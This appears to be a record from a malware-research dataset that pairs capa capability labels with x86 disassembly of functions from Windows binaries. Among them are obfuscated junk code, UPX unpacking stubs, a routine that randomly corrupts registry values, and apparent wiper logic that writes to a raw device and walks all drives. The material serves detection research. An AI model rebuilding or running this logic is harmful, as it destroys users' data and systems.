joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10139240
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x5bc]
add edx, 1
mov dword [ebp - 0x5bc], edx
add esp, 4
pop edi
push esi
add esi, 0x2873
xor esi, 0xdf29
sub esi, 0x461b
pop esi
mov ecx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], ecx
jmp 0x1013939a
cmp dword [ebp - 0x18e0], 0
jne 0x101393e3
push eax
push esi
add esp, 4
and eax, 0xc717
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x105e6
add eax, 0xef0b
or eax, 0x4636
pop eax
push edi
add edi, 0xb54f
jmp 0x101393d4
pop edi
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x494], eax
jmp 0x10139424
jmp 0x10139131
push eax
push eax
add esp, 4
jmp 0x1013942e
call 0x1013943a
add byte [edi], bh
inc esp
cmp dword [edi], edi
cmp ecx, dword [ebx - 0x7d]
les eax, [ecx + eax*4]
invalid

Function at 0x1013929c
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp dword [ebp - 0xe80], 0
jle 0x1013938e
push ebx
jmp 0x1013927d
add ebx, 0x134a8
sub ebx, 0x17b58
pop ebx
push esi
push edx
add esp, 4
call fcn.1013929c
add byte [0x34373a4f], bh
xor edi, dword [eax]
add esp, 4
pop esi
push ebx
sub ebx, 0xf6d4
pop ebx
mov edx, dword [ebp - 0xc0c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc08]
movzx edx, byte [ecx]
cmp eax, edx
je 0x1013932a
push edi
push ecx
add esp, 4
call 0x101392d0
add byte [edi + 0x47], al
xor edi, dword [esi]
inc esi
dec esp
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
dec ecx
aas
xor eax, 0x3e384143
add esp, 4
and edi, 0xc8bd
sub edi, 0x54d6
pop edi
mov eax, dword [ebp - 0xc0c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc08]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x10139312
mov dword [ebp - 0x18dc], 1
jmp 0x1013931c
mov dword [ebp - 0x18dc], 0xffffffff
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0xe84], ecx
jmp 0x1013938e
push edi
or edi, 0x15a26
jmp 0x1013933a
xor edi, 0xaa42
or edi, 0xe488
pop edi
push esi
push esi
add esp, 4
or esi, 0x56df
jmp 0x1013935b
pop esi
mov edx, dword [ebp - 0xe80]
sub edx, 1
mov dword [ebp - 0xe80], edx
mov eax, dword [ebp - 0xc0c]
add eax, 1
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
add ecx, 1
mov dword [ebp - 0xc08], ecx
jmp 0x10139269
mov edx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], edx
Function at 0x101392d0
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp dword [ebp - 0xe80], 0
jle 0x1013938e
push ebx
jmp 0x1013927d
add ebx, 0x134a8
sub ebx, 0x17b58
pop ebx
push esi
push edx
add esp, 4
call fcn.1013929c
add byte [0x34373a4f], bh
xor edi, dword [eax]
add esp, 4
pop esi
push ebx
sub ebx, 0xf6d4
pop ebx
mov edx, dword [ebp - 0xc0c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc08]
movzx edx, byte [ecx]
cmp eax, edx
je 0x1013932a
push edi
push ecx
add esp, 4
call 0x101392d0
add byte [edi + 0x47], al
xor edi, dword [esi]
inc esi
dec esp
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
dec ecx
aas
xor eax, 0x3e384143
add esp, 4
and edi, 0xc8bd
sub edi, 0x54d6
pop edi
mov eax, dword [ebp - 0xc0c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc08]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x10139312
mov dword [ebp - 0x18dc], 1
jmp 0x1013931c
mov dword [ebp - 0x18dc], 0xffffffff
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0xe84], ecx
jmp 0x1013938e
push edi
or edi, 0x15a26
jmp 0x1013933a
xor edi, 0xaa42
or edi, 0xe488
pop edi
push esi
push esi
add esp, 4
or esi, 0x56df
jmp 0x1013935b
pop esi
mov edx, dword [ebp - 0xe80]
sub edx, 1
mov dword [ebp - 0xe80], edx
mov eax, dword [ebp - 0xc0c]
add eax, 1
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
add ecx, 1
mov dword [ebp - 0xc08], ecx
jmp 0x10139269
mov edx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], edx

Function at 0x101392e0
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cmp dword [ebp - 0xe80], 0
jle 0x1013938e
push ebx
jmp 0x1013927d
add ebx, 0x134a8
sub ebx, 0x17b58
pop ebx
push esi
push edx
add esp, 4
call fcn.1013929c
add byte [0x34373a4f], bh
xor edi, dword [eax]
add esp, 4
pop esi
push ebx
sub ebx, 0xf6d4
pop ebx
mov edx, dword [ebp - 0xc0c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc08]
movzx edx, byte [ecx]
cmp eax, edx
je 0x1013932a
push edi
push ecx
add esp, 4
call 0x101392d0
add byte [edi + 0x47], al
xor edi, dword [esi]
inc esi
dec esp
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
dec ecx
aas
xor eax, 0x3e384143
add esp, 4
and edi, 0xc8bd
sub edi, 0x54d6
pop edi
mov eax, dword [ebp - 0xc0c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc08]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x10139312
mov dword [ebp - 0x18dc], 1
jmp 0x1013931c
mov dword [ebp - 0x18dc], 0xffffffff
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0xe84], ecx
jmp 0x1013938e
push edi
or edi, 0x15a26
jmp 0x1013933a
xor edi, 0xaa42
or edi, 0xe488
pop edi
push esi
push esi
add esp, 4
or esi, 0x56df
jmp 0x1013935b
pop esi
mov edx, dword [ebp - 0xe80]
sub edx, 1
mov dword [ebp - 0xe80], edx
mov eax, dword [ebp - 0xc0c]
add eax, 1
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
add ecx, 1
mov dword [ebp - 0xc08], ecx
jmp 0x10139269
mov edx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], edx

Function at 0x1013940e
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x10139419
pop edx
mov dword [ebp - 0x494], 0
Function at 0x1013943a
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x5bc]
add edx, 1
mov dword [ebp - 0x5bc], edx
add esp, 4
pop edi
push esi
add esi, 0x2873
xor esi, 0xdf29
sub esi, 0x461b
pop esi
mov ecx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], ecx
jmp 0x1013939a
cmp dword [ebp - 0x18e0], 0
jne 0x101393e3
push eax
push esi
add esp, 4
and eax, 0xc717
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x105e6
add eax, 0xef0b
or eax, 0x4636
pop eax
push edi
add edi, 0xb54f
jmp 0x101393d4
pop edi
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x494], eax
jmp 0x10139424
jmp 0x10139131
push eax
push eax
add esp, 4
jmp 0x1013942e
call 0x1013943a
add byte [edi], bh
inc esp
cmp dword [edi], edi
cmp ecx, dword [ebx - 0x7d]
les eax, [ecx + eax*4]
invalid
Function at 0x1013bae1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub ebx, 0xf185
pop ebx
mov ecx, dword [ebp - 0x490]
mov dword [ebp - 0x1f64], ecx
push edx
push ebx
add esp, 4
call 0x1013bb0b
add byte [0x4f4a4b4b], dh
xor esi, dword [edx]
cmp byte [ebx + eax*4], dh
les eax, [ecx + eax*4]
ret 0xfce2

Function at 0x1013bb0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub ebx, 0xf185
pop ebx
mov ecx, dword [ebp - 0x490]
mov dword [ebp - 0x1f64], ecx
push edx
push ebx
add esp, 4
call 0x1013bb0b
add byte [0x4f4a4b4b], dh
xor esi, dword [edx]
cmp byte [ebx + eax*4], dh
les eax, [ecx + eax*4]
ret 0xfce2
Function at 0x1005721
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push 0x1001590
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1005779
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x10015cc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100576c
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x100577b
xor eax, eax
pop esi
leave
ret 4

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x47d430
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x78000]
push edi
jmp 0x47d44a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x47d451
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47d440
mov eax, 1
add ebx, ebx
jne 0x47d463
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x47d458
jne 0x47d474
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47d458
xor ecx, ecx
sub eax, 3
jb 0x47d488
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47d4fa
mov ebp, eax
add ebx, ebx
jne 0x47d493
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x47d4a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x47d4c4
inc ecx
add ebx, ebx
jne 0x47d4b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47d4a5
jne 0x47d4c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47d4a5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x47d4e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x47d4d5
jmp 0x47d446
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x47d4e4
add edi, ecx
jmp 0x47d446
pop esi
mov edi, esi
mov ecx, 0x24a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x47d502
cmp byte [edi], 1
jne 0x47d502
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x47d507
lea edi, [esi + 0x7b000]
mov eax, dword [edi]
or eax, eax
je 0x47d57f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xaba24]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xabad8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47d534
mov ecx, edi
jns 0x47d563
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xabadc]
or eax, eax
je 0x47d579
mov dword [ebx], eax
add ebx, 4
jmp 0x47d551
call dword [esi + 0xabaec]
mov ebp, dword [esi + 0xabae0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47d5b3
sub esp, 0xffffff80
jmp 0x40323c
Function at 0x402de9
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1804
call fcn.00409a10
mov eax, dword [0x249598c]
mov ecx, dword [0x249541c]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x402ec3
mov edi, ecx
mov ebx, eax
cmp dword [0x249598c], 0x959
jne 0x402eb3
push esi
lea eax, [esp + 0x814]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402a34
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [esp + 0x1014]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00402bd7
add edi, 8
dec ebx
jne 0x402e18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4073ce
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46bbc0]
jne 0x4073d8
repz ret
jmp fcn.0040934c

Function at 0x407cdb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x46bbc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404d23
and dword [ebp - 0x14], 0
cmp dword [0x482f5c], 0
mov dword [ebp - 0x18], eax
jne 0x407d8e
push 0x402944
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407e36
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402938
push ebx
call edi
test eax, eax
je 0x407e36
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402928
push ebx
mov dword [0x482f5c], eax
call edi
push eax
call esi
push 0x402914
push ebx
mov dword [0x482f60], eax
call edi
push eax
call esi
push 0x4028f8
push ebx
mov dword [0x482f64], eax
call edi
push eax
call esi
mov dword [0x482f6c], eax
test eax, eax
je 0x407d8e
push 0x4028e0
push ebx
call edi
push eax
call esi
mov dword [0x482f68], eax
mov eax, dword [0x482f68]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407de7
cmp dword [0x482f6c], ecx
je 0x407de7
push eax
call esi
push dword [0x482f6c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407de7
test ebx, ebx
je 0x407de7
call edi
test eax, eax
je 0x407dde
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407dde
test byte [ebp - 8], 1
jne 0x407de7
or dword [ebp + 0x10], 0x200000
jmp 0x407e1a
mov eax, dword [0x482f60]
cmp eax, dword [ebp - 0x18]
je 0x407e1a
push eax
call esi
test eax, eax
je 0x407e1a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407e1a
mov eax, dword [0x482f64]
cmp eax, dword [ebp - 0x18]
je 0x407e1a
push eax
call esi
test eax, eax
je 0x407e1a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x482f5c]
call esi
test eax, eax
je 0x407e36
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407e38
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004073ce
leave
ret
Function at 0x4013c0
Capabilities:
Generate random numbers via winapi
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x208
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 0x10], 0x104
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], edi
push eax
push edi
push 0
push ebx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x40145a
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401436
mov ecx, dword [ebp - 0x18]
call fcn.004013c0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc esi
cmp eax, 0x103
jne 0x401417
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x14], 0x2000
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov esi, 1
mov dword [ebp - 0x18], esi
cmp eax, 0x103
je 0x40157f
test eax, eax
jne 0x401548
mov edi, dword [ebp - 0x14]
xor esi, esi
test edi, edi
je 0x401524
mov eax, dword [0x4153e4]
test eax, eax
jne 0x4014ed
push 0xf0000040
push 1
push eax
push eax
push 0x4153e4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4015b3
mov eax, dword [0x4153e4]
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov cl, byte [esi + eax]
lea eax, [ecx + 1]
dec cl
and dl, 1
movzx eax, al
movzx ecx, cl
cmovne ecx, eax
mov eax, dword [ebp - 0x1c]
mov byte [esi + eax], cl
inc esi
cmp esi, edi
jb 0x4014c3
mov edi, dword [ebp - 0x14]
jmp 0x401527
mov eax, dword [ebp - 0x1c]
push edi
mov edi, dword [ebp - 0x20]
push eax
push dword [ebp - 8]
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401545
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x2000
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc esi
mov dword [ebp - 0x18], esi
cmp eax, 0x103
jne 0x4014b2
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1c]
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ec5
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401b90
Capabilities:
Create thread
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x414024]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x28]
call fcn.004018c0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x7e8
push 0
push 0
push str.ping
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp word [esp + 0x1e], 0x12
jb 0x401d6d
cmp word [esp + 0x1a], 9
jb 0x401d6d
cmp word [esp + 0x18], si
jb 0x401d6d
push 0x7530
call ebx
call fcn.00401010
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x411d9c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 4
push 0x3000
push 0x1000
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401c94
cmp esi, 0xffffffff
je 0x401c94
push 0
lea eax, [esp + 0x14]
push eax
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x401360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov esi, eax
test esi, esi
je 0x401d1e
push 4
push 0x3000
lea ecx, [esi*2 + 2]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x401d18
push ebx
push esi
call edi
push ebx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
je 0x401d0a
nop dword [eax + eax]
mov ecx, esi
call fcn.004015c0
lea esi, [esi + edi*2]
add esi, 2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
jne 0x401cf0
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..C:
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401d68
push 0
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0x2d4808
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x7e8
push 0x2710
call ebx
jmp 0x401bd3
Function at 0x404c60
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56e7c8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5bf23c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
mov dword [ebp - 0x2c], 0
push dword [ecx + 0x248]
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x5a433c
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], 1
push eax
call fcn.0041b430
mov ecx, eax
call fcn.0041b720
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.00444f40
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x404ce3
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00408800
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004ff5c3
mov esp, ebp
pop ebp
ret